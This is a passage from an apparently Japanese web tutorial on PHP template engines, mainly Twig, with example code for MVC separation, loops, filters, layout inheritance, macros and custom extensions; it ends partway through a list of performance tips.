\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306b\u306f\u7570\u306a\u308b\u7279\u5fb4\u304c\u3042\u308a\u307e\u3059\u304c\u3001\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306e\u30cb\u30fc\u30ba\u3084\u4f7f\u7528\u3059\u308b\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306b\u5fdc\u3058\u3066\u9078\u629e\u3059\u308b\u3068\u3088\u3044\u3067\u3057\u3087\u3046\u3002\u7279\u306b\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3059\u308b\u5834\u5408\u306f\u3001\u305d\u306e\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3092\u4f7f\u3046\u3053\u3068\u304c\u591a\u3044\u3067\u3059\uff08\u4f8b\uff1aSymfony \u2192 Twig\u3001Laravel \u2192 Blade\uff09\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-35\">MVC\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u306b\u304a\u3051\u308b\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u5f79\u5272<\/h4>\n\n\n\n<p>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306f\u3001MVC\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u306e\u300cView\u300d\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3068\u3057\u3066\u91cd\u8981\u306a\u5f79\u5272\u3092\u679c\u305f\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Model<\/strong>: \u30c7\u30fc\u30bf\u3068\u95a2\u9023\u3059\u308b\u30d3\u30b8\u30cd\u30b9\u30ed\u30b8\u30c3\u30af<\/li>\n\n\n\n<li><strong>View<\/strong>: \u30c7\u30fc\u30bf\u306e\u8868\u793a\u65b9\u6cd5\uff08\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\uff09<\/li>\n\n\n\n<li><strong>Controller<\/strong>: \u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u51e6\u7406\u3068Model\u3068View\u306e\u8abf\u6574<\/li>\n<\/ul>\n\n\n\n<p>MVC\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u3067\u306f\u3001Controller\u304c\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u51e6\u7406\u3057\u3001\u5fc5\u8981\u306a\u30c7\u30fc\u30bf\u3092Model\u304b\u3089\u53d6\u5f97\u3057\u3001\u305d\u308c\u3092View\u306b\u6e21\u3057\u307e\u3059\u3002\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306f\u3053\u306eView\u306e\u90e8\u5206\u3092\u62c5\u5f53\u3057\u3001\u30c7\u30fc\u30bf\u3092\u9069\u5207\u306b\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u3057\u3066\u8868\u793a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">[\u30e6\u30fc\u30b6\u30fc] -&gt; [\u30ea\u30af\u30a8\u30b9\u30c8] -&gt; [Controller]\n                                  |\n                                  v\n                              [Model] \n                                  |\n                                  v\n                  [\u30c7\u30fc\u30bf] -&gt; [View\/\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8] -&gt; [\u30ec\u30b9\u30dd\u30f3\u30b9] -&gt; [\u30e6\u30fc\u30b6\u30fc]\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-36\">\u30b3\u30fc\u30c9\u5206\u96e2\u306b\u3088\u308b\u30e1\u30f3\u30c6\u30ca\u30f3\u30b9\u6027\u306e\u5411\u4e0a<\/h4>\n\n\n\n<p>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3092\u4f7f\u7528\u3059\u308b\u6700\u5927\u306e\u5229\u70b9\u306f\u3001\u30ed\u30b8\u30c3\u30af\u3068\u30d7\u30ec\u30bc\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\u306e\u5206\u96e2\u3067\u3059\u3002\u4f8b\u3048\u3070\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306aPHP\u3068HTML\u304c\u6df7\u5728\u3057\u305f\u30b3\u30fc\u30c9\u304c\u3042\u308b\u3068\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\n$pdo = new PDO('mysql:host=localhost;dbname=blog', 'username', 'password');\n\n\/\/ \u8a18\u4e8b\u306e\u53d6\u5f97\n$stmt = $pdo-&gt;query(\"SELECT * FROM posts ORDER BY created_at DESC LIMIT 10\");\n$posts = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);\n?&gt;\n\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u30d6\u30ed\u30b0\u8a18\u4e8b\u4e00\u89a7&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;h1&gt;\u6700\u65b0\u8a18\u4e8b&lt;\/h1&gt;\n    \n    &lt;?php if (empty($posts)): ?&gt;\n        &lt;p&gt;\u8a18\u4e8b\u304c\u3042\u308a\u307e\u305b\u3093\u3002&lt;\/p&gt;\n    &lt;?php else: ?&gt;\n        &lt;ul&gt;\n            &lt;?php foreach ($posts as $post): ?&gt;\n                &lt;li&gt;\n                    &lt;h2&gt;&lt;?php echo htmlspecialchars($post['title']); ?&gt;&lt;\/h2&gt;\n                    &lt;p&gt;&lt;?php echo htmlspecialchars(substr($post['content'], 0, 200) . '...'); ?&gt;&lt;\/p&gt;\n                    &lt;a href=\"post.php?id=&lt;?php echo $post['id']; ?&gt;\"&gt;\u7d9a\u304d\u3092\u8aad\u3080&lt;\/a&gt;\n                &lt;\/li&gt;\n            &lt;?php endforeach; ?&gt;\n        &lt;\/ul&gt;\n    &lt;?php endif; ?&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<p>\u3053\u306e\u30b3\u30fc\u30c9\u3092\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\uff08Twig\uff09\u3092\u4f7f\u3063\u3066\u66f8\u304d\u76f4\u3059\u3068\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<p><strong>\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u30fc\uff08index.php\uff09<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nrequire_once 'vendor\/autoload.php';\n\n\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\n$pdo = new PDO('mysql:host=localhost;dbname=blog', 'username', 'password');\n\n\/\/ \u8a18\u4e8b\u306e\u53d6\u5f97\n$stmt = $pdo-&gt;query(\"SELECT * FROM posts ORDER BY created_at DESC LIMIT 10\");\n$posts = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);\n\n\/\/ Twig\u306e\u521d\u671f\u5316\n$loader = new \\Twig\\Loader\\FilesystemLoader('templates');\n$twig = new \\Twig\\Environment($loader);\n\n\/\/ \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\necho $twig-&gt;render('posts.twig', [\n    'posts' =&gt; $posts\n]);\n<\/pre>\n\n\n\n<p><strong>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\uff08templates\/posts.twig\uff09<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u30d6\u30ed\u30b0\u8a18\u4e8b\u4e00\u89a7&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;h1&gt;\u6700\u65b0\u8a18\u4e8b&lt;\/h1&gt;\n    \n    {% if posts is empty %}\n        &lt;p&gt;\u8a18\u4e8b\u304c\u3042\u308a\u307e\u305b\u3093\u3002&lt;\/p&gt;\n    {% else %}\n        &lt;ul&gt;\n            {% for post in posts %}\n                &lt;li&gt;\n                    &lt;h2&gt;{{ post.title }}&lt;\/h2&gt;\n                    &lt;p&gt;{{ post.content|slice(0, 200) ~ '...' }}&lt;\/p&gt;\n                    &lt;a href=\"post.php?id={{ post.id }}\"&gt;\u7d9a\u304d\u3092\u8aad\u3080&lt;\/a&gt;\n                &lt;\/li&gt;\n            {% endfor %}\n        &lt;\/ul&gt;\n    {% endif %}\n\n{% if posts is defined and posts is not empty %}\n    {# \u914d\u5217\u304c\u5b58\u5728\u3057\u3001\u4e2d\u8eab\u304c\u3042\u308b\u304b\u30c1\u30a7\u30c3\u30af #}\n{% endif %}\n<\/pre>\n\n\n\n<p><strong>\u30eb\u30fc\u30d7\u51e6\u7406<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# \u914d\u5217\u306e\u30eb\u30fc\u30d7 #}\n&lt;ul&gt;\n    {% for item in items %}\n        &lt;li&gt;{{ item }}&lt;\/li&gt;\n    {% endfor %}\n&lt;\/ul&gt;\n\n{# \u30eb\u30fc\u30d7\u5909\u6570 #}\n&lt;ul&gt;\n    {% for item in items %}\n        &lt;li class=\"{{ loop.first ? 'first' : '' }} {{ loop.last ? 'last' : '' }}\"&gt;\n            {{ loop.index }}: {{ item }}\n        &lt;\/li&gt;\n    {% else %}\n        &lt;li&gt;\u30a2\u30a4\u30c6\u30e0\u304c\u3042\u308a\u307e\u305b\u3093&lt;\/li&gt;\n    {% endfor %}\n&lt;\/ul&gt;\n\n{# \u30eb\u30fc\u30d7\u3067\u30ad\u30fc\u3068\u5024\u3092\u53d6\u5f97 #}\n&lt;dl&gt;\n    {% for key, value in user %}\n        &lt;dt&gt;{{ key }}&lt;\/dt&gt;\n        &lt;dd&gt;{{ value }}&lt;\/dd&gt;\n    {% endfor %}\n&lt;\/dl&gt;\n<\/pre>\n\n\n\n<p><strong>\u30d5\u30a3\u30eb\u30bf\u30fc\u306e\u4f7f\u7528<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# \u30c6\u30ad\u30b9\u30c8\u306e\u6574\u5f62 #}\n&lt;p&gt;{{ username|upper }}&lt;\/p&gt; {# \u5927\u6587\u5b57\u306b\u5909\u63db #}\n&lt;p&gt;{{ description|striptags|slice(0, 100) ~ '...' }}&lt;\/p&gt; {# HTML\u30bf\u30b0\u9664\u53bb\u3068\u5207\u308a\u8a70\u3081 #}\n\n{# \u914d\u5217\u64cd\u4f5c #}\n&lt;p&gt;\u5408\u8a08: {{ numbers|reduce((sum, v) =&gt; sum + v) }}&lt;\/p&gt;\n&lt;p&gt;\u6700\u521d\u306e3\u4ef6: {{ items|slice(0, 3)|join(', ') }}&lt;\/p&gt;\n\n{# \u65e5\u4ed8\u30d5\u30a9\u30fc\u30de\u30c3\u30c8 #}\n&lt;p&gt;\u6295\u7a3f\u65e5\u6642: {{ post.created_at|date('Y\u5e74m\u6708d\u65e5 H:i') }}&lt;\/p&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-37\">\u30ec\u30a4\u30a2\u30a6\u30c8\u306e\u7d99\u627f\u3068\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u5316<\/h4>\n\n\n\n<p>Twig\u306e\u5f37\u529b\u306a\u6a5f\u80fd\u306e\u4e00\u3064\u306f\u3001\u30ec\u30a4\u30a2\u30a6\u30c8\u306e\u7d99\u627f\u3068\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u5316\u3067\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u5171\u901a\u306e\u30ec\u30a4\u30a2\u30a6\u30c8\u8981\u7d20\u3092\u518d\u5229\u7528\u3057\u3001\u30b3\u30fc\u30c9\u306e\u91cd\u8907\u3092\u6e1b\u3089\u3059\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u57fa\u672c\u7684\u306a\u30ec\u30a4\u30a2\u30a6\u30c8\u7d99\u627f<\/strong>:<\/p>\n\n\n\n<p>\u307e\u305a\u3001\u30d9\u30fc\u30b9\u3068\u306a\u308b\u30ec\u30a4\u30a2\u30a6\u30c8\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u4f5c\u6210\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# templates\/layout.twig #}\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;{% block title %}\u30b5\u30a4\u30c8\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u30bf\u30a4\u30c8\u30eb{% endblock %}&lt;\/title&gt;\n    &lt;link rel=\"stylesheet\" href=\"\/css\/main.css\"&gt;\n    {% block stylesheets %}{% endblock %}\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        {% block header %}\n        &lt;h1&gt;\u30b5\u30a4\u30c8\u30ed\u30b4&lt;\/h1&gt;\n        &lt;nav&gt;\n            &lt;ul&gt;\n                &lt;li&gt;&lt;a href=\"\/\"&gt;\u30db\u30fc\u30e0&lt;\/a&gt;&lt;\/li&gt;\n                &lt;li&gt;&lt;a href=\"\/about\"&gt;\u4f1a\u793e\u6982\u8981&lt;\/a&gt;&lt;\/li&gt;\n                &lt;li&gt;&lt;a href=\"\/contact\"&gt;\u304a\u554f\u3044\u5408\u308f\u305b&lt;\/a&gt;&lt;\/li&gt;\n            &lt;\/ul&gt;\n        &lt;\/nav&gt;\n        {% endblock %}\n    &lt;\/header&gt;\n    \n    &lt;main&gt;\n        {% block content %}\n        {# \u3053\u3053\u306b\u500b\u5225\u30da\u30fc\u30b8\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u304c\u5165\u308a\u307e\u3059 #}\n        {% endblock %}\n    &lt;\/main&gt;\n    \n    &lt;footer&gt;\n        {% block footer %}\n        &lt;p&gt;&amp;copy; 2023 \u682a\u5f0f\u4f1a\u793eDexall&lt;\/p&gt;\n        {% endblock %}\n    &lt;\/footer&gt;\n    \n    &lt;script src=\"\/js\/main.js\"&gt;&lt;\/script&gt;\n    {% block javascripts %}{% endblock %}\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<p>\u6b21\u306b\u3001\u3053\u306e\u30ec\u30a4\u30a2\u30a6\u30c8\u3092\u7d99\u627f\u3057\u305f\u500b\u5225\u30da\u30fc\u30b8\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u4f5c\u6210\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# templates\/home.twig #}\n{% extends 'layout.twig' %}\n\n{% block title %}\u30db\u30fc\u30e0\u30da\u30fc\u30b8 - \u30b5\u30a4\u30c8\u540d{% endblock %}\n\n{% block content %}\n    &lt;h1&gt;\u3088\u3046\u3053\u305d\u3001\u5f0a\u793e\u30b5\u30a4\u30c8\u3078&lt;\/h1&gt;\n    &lt;p&gt;\u5f0a\u793e\u306f\u6700\u5148\u7aef\u306eIT\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002&lt;\/p&gt;\n    \n    &lt;section class=\"services\"&gt;\n        &lt;h2&gt;\u30b5\u30fc\u30d3\u30b9\u4e00\u89a7&lt;\/h2&gt;\n        &lt;ul&gt;\n            {% for service in services %}\n                &lt;li&gt;\n                    &lt;h3&gt;{{ service.name }}&lt;\/h3&gt;\n                    &lt;p&gt;{{ service.description }}&lt;\/p&gt;\n                &lt;\/li&gt;\n            {% endfor %}\n        &lt;\/ul&gt;\n    &lt;\/section&gt;\n{% endblock %}\n\n{% block footer %}\n    {{ parent() }} {# \u89aa\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u30d5\u30c3\u30bf\u30fc\u3092\u7d99\u627f\u3057\u3064\u3064\u8ffd\u52a0 #}\n    &lt;p&gt;\u304a\u554f\u3044\u5408\u308f\u305b: info@example.com&lt;\/p&gt;\n{% endblock %}\n<\/pre>\n\n\n\n<p><strong>\u90e8\u5206\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\uff08\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\uff09\u306e\u5229\u7528<\/strong>:<\/p>\n\n\n\n<p>\u518d\u5229\u7528\u53ef\u80fd\u306a\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3092\u4f5c\u6210\u3057\u3066\u3001\u7570\u306a\u308b\u30da\u30fc\u30b8\u3067\u5229\u7528\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# templates\/components\/product_card.twig #}\n&lt;div class=\"product-card\"&gt;\n    &lt;img src=\"{{ product.image }}\" alt=\"{{ product.name }}\"&gt;\n    &lt;h3&gt;{{ product.name }}&lt;\/h3&gt;\n    &lt;p class=\"price\"&gt;\u00a5{{ product.price|number_format }}&lt;\/p&gt;\n    &lt;p class=\"description\"&gt;{{ product.description|slice(0, 100) ~ '...' }}&lt;\/p&gt;\n    &lt;a href=\"\/products\/{{ product.id }}\" class=\"btn\"&gt;\u8a73\u7d30\u3092\u898b\u308b&lt;\/a&gt;\n&lt;\/div&gt;\n<\/pre>\n\n\n\n<p>\u3053\u308c\u3092\u4ed6\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u304b\u3089\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# templates\/product_list.twig #}\n{% extends 'layout.twig' %}\n\n{% block title %}\u5546\u54c1\u4e00\u89a7 - \u30b5\u30a4\u30c8\u540d{% endblock %}\n\n{% block content %}\n    &lt;h1&gt;\u5546\u54c1\u4e00\u89a7&lt;\/h1&gt;\n    \n    &lt;div class=\"product-grid\"&gt;\n        {% for product in products %}\n            {% include 'components\/product_card.twig' with {'product': product} %}\n        {% endfor %}\n    &lt;\/div&gt;\n{% endblock %}\n<\/pre>\n\n\n\n<p><strong>include\u3068embed\u306e\u9055\u3044<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>include<\/code>: \u5358\u7d14\u306b\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u633f\u5165\u3057\u307e\u3059<\/li>\n\n\n\n<li><code>embed<\/code>: include\u3068block\u6a5f\u80fd\u3092\u7d44\u307f\u5408\u308f\u305b\u305f\u3082\u306e\u3067\u3001\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u3057\u305f\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u30d6\u30ed\u30c3\u30af\u3092\u30aa\u30fc\u30d0\u30fc\u30e9\u30a4\u30c9\u3067\u304d\u307e\u3059<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# embed\u306e\u4f8b #}\n{% embed 'components\/panel.twig' with {'title': '\u6ce8\u76ee\u60c5\u5831'} %}\n    {% block content %}\n        &lt;p&gt;\u3053\u306e\u30d1\u30cd\u30eb\u306e\u30ab\u30b9\u30bf\u30e0\u30b3\u30f3\u30c6\u30f3\u30c4&lt;\/p&gt;\n    {% endblock %}\n{% endembed %}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-38\">\u30de\u30af\u30ed\u3068\u30ab\u30b9\u30bf\u30e0\u95a2\u6570<\/h4>\n\n\n\n<p><strong>\u30de\u30af\u30ed<\/strong>\u3092\u4f7f\u3046\u3068\u3001\u518d\u5229\u7528\u53ef\u80fd\u306a\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u95a2\u6570\u3092\u5b9a\u7fa9\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# templates\/macros\/forms.twig #}\n{% macro input(name, value, type = 'text', label = null) %}\n    &lt;div class=\"form-group\"&gt;\n        {% if label %}\n            &lt;label for=\"{{ name }}\"&gt;{{ label }}&lt;\/label&gt;\n        {% endif %}\n        &lt;input type=\"{{ type }}\" name=\"{{ name }}\" id=\"{{ name }}\" value=\"{{ value }}\"&gt;\n    &lt;\/div&gt;\n{% endmacro %}\n\n{% macro textarea(name, value, rows = 5, label = null) %}\n    &lt;div class=\"form-group\"&gt;\n        {% if label %}\n            &lt;label for=\"{{ name }}\"&gt;{{ label }}&lt;\/label&gt;\n        {% endif %}\n        &lt;textarea name=\"{{ name }}\" id=\"{{ name }}\" rows=\"{{ rows }}\"&gt;{{ value }}&lt;\/textarea&gt;\n    &lt;\/div&gt;\n{% endmacro %}\n<\/pre>\n\n\n\n<p>\u5225\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u304b\u3089\u30de\u30af\u30ed\u3092\u4f7f\u7528\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# templates\/contact.twig #}\n{% extends 'layout.twig' %}\n{% import 'macros\/forms.twig' as forms %}\n\n{% block content %}\n    &lt;h1&gt;\u304a\u554f\u3044\u5408\u308f\u305b&lt;\/h1&gt;\n    \n    &lt;form method=\"post\" action=\"\/contact\"&gt;\n        {{ forms.input('name', '', 'text', '\u304a\u540d\u524d') }}\n        {{ forms.input('email', '', 'email', '\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9') }}\n        {{ forms.textarea('message', '', 10, '\u30e1\u30c3\u30bb\u30fc\u30b8') }}\n        \n        &lt;button type=\"submit\"&gt;\u9001\u4fe1&lt;\/button&gt;\n    &lt;\/form&gt;\n{% endblock %}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-39\">\u30ab\u30b9\u30bf\u30e0\u62e1\u5f35\u6a5f\u80fd\u306e\u4f5c\u6210<\/h4>\n\n\n\n<p>PHP\u3067\u30ab\u30b9\u30bf\u30e0\u95a2\u6570\u3084\u30d5\u30a3\u30eb\u30bf\u30fc\u3092\u5b9a\u7fa9\u3057\u3066\u3001Twig\u306b\u8ffd\u52a0\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30ab\u30b9\u30bf\u30e0\u95a2\u6570\u306e\u8ffd\u52a0\n$twig-&gt;addFunction(new \\Twig\\TwigFunction('current_date', function ($format = 'Y-m-d') {\n    return date($format);\n}));\n\n\/\/ \u30ab\u30b9\u30bf\u30e0\u30d5\u30a3\u30eb\u30bf\u30fc\u306e\u8ffd\u52a0\n$twig-&gt;addFilter(new \\Twig\\TwigFilter('price_format', function ($number) {\n    return '\u00a5' . number_format($number);\n}));\n<\/pre>\n\n\n\n<p>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3067\u306e\u4f7f\u7528\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;p&gt;\u73fe\u5728\u306e\u65e5\u4ed8: {{ current_date('Y\u5e74m\u6708d\u65e5') }}&lt;\/p&gt;\n&lt;p&gt;\u5546\u54c1\u4fa1\u683c: {{ product.price|price_format }}&lt;\/p&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-40\">\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u3068\u6700\u9069\u5316<\/h4>\n\n\n\n<p>Twig\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u3066\u30ad\u30e3\u30c3\u30b7\u30e5\u3059\u308b\u305f\u3081\u3001\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u306f\u4e00\u822c\u7684\u306b\u826f\u597d\u3067\u3059\u3002\u305f\u3060\u3057\u3001\u4ee5\u4e0b\u306e\u70b9\u306b\u6ce8\u610f\u3059\u308b\u3068\u3055\u3089\u306b\u6700\u9069\u5316\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30ad\u30e3\u30c3\u30b7\u30e5\u306e\u6709\u52b9\u6d3b\u7528<\/strong>: \u672c\u756a\u74b0\u5883\u3067\u306f <code>auto_reload<\/code> \u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u7121\u52b9\u306b\u3057\u3001\u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u6700\u5927\u9650\u6d3b\u7528<\/li>\n\n\n\n<li><strong>\u9069\u5207\u306a\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u65b9\u6cd5<\/strong>: \u591a\u7528\u3059\u308b\u3068\u51e6\u7406\u304c\u9045\u304f\u306a\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u305f\u3081\u3001\u5fc5\u8981\u306a\u5834\u6240\u3067\u306e\u307f\u4f7f\u7528<\/li>\n\n\n\n<li><strong>\u8907\u96d1\u306a\u30ed\u30b8\u30c3\u30af\u306fPHP\u3067<\/strong>: \u8907\u96d1\u306a\u51e6\u7406\u3084\u8a08\u7b97\u306f\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u5185\u3067\u306f\u306a\u304f\u3001PHP\u30b3\u30fc\u30c9\u5074\u3067\u884c\u3046<\/li>\n\n\n\n<li><strong>\u4e0d\u8981\u306a\u30c7\u30d0\u30c3\u30b0\u6a5f\u80fd\u306e\u7121\u52b9\u5316<\/strong>: \u672c\u756a\u74b0\u5883\u3067\u306f <code>debug<\/code> 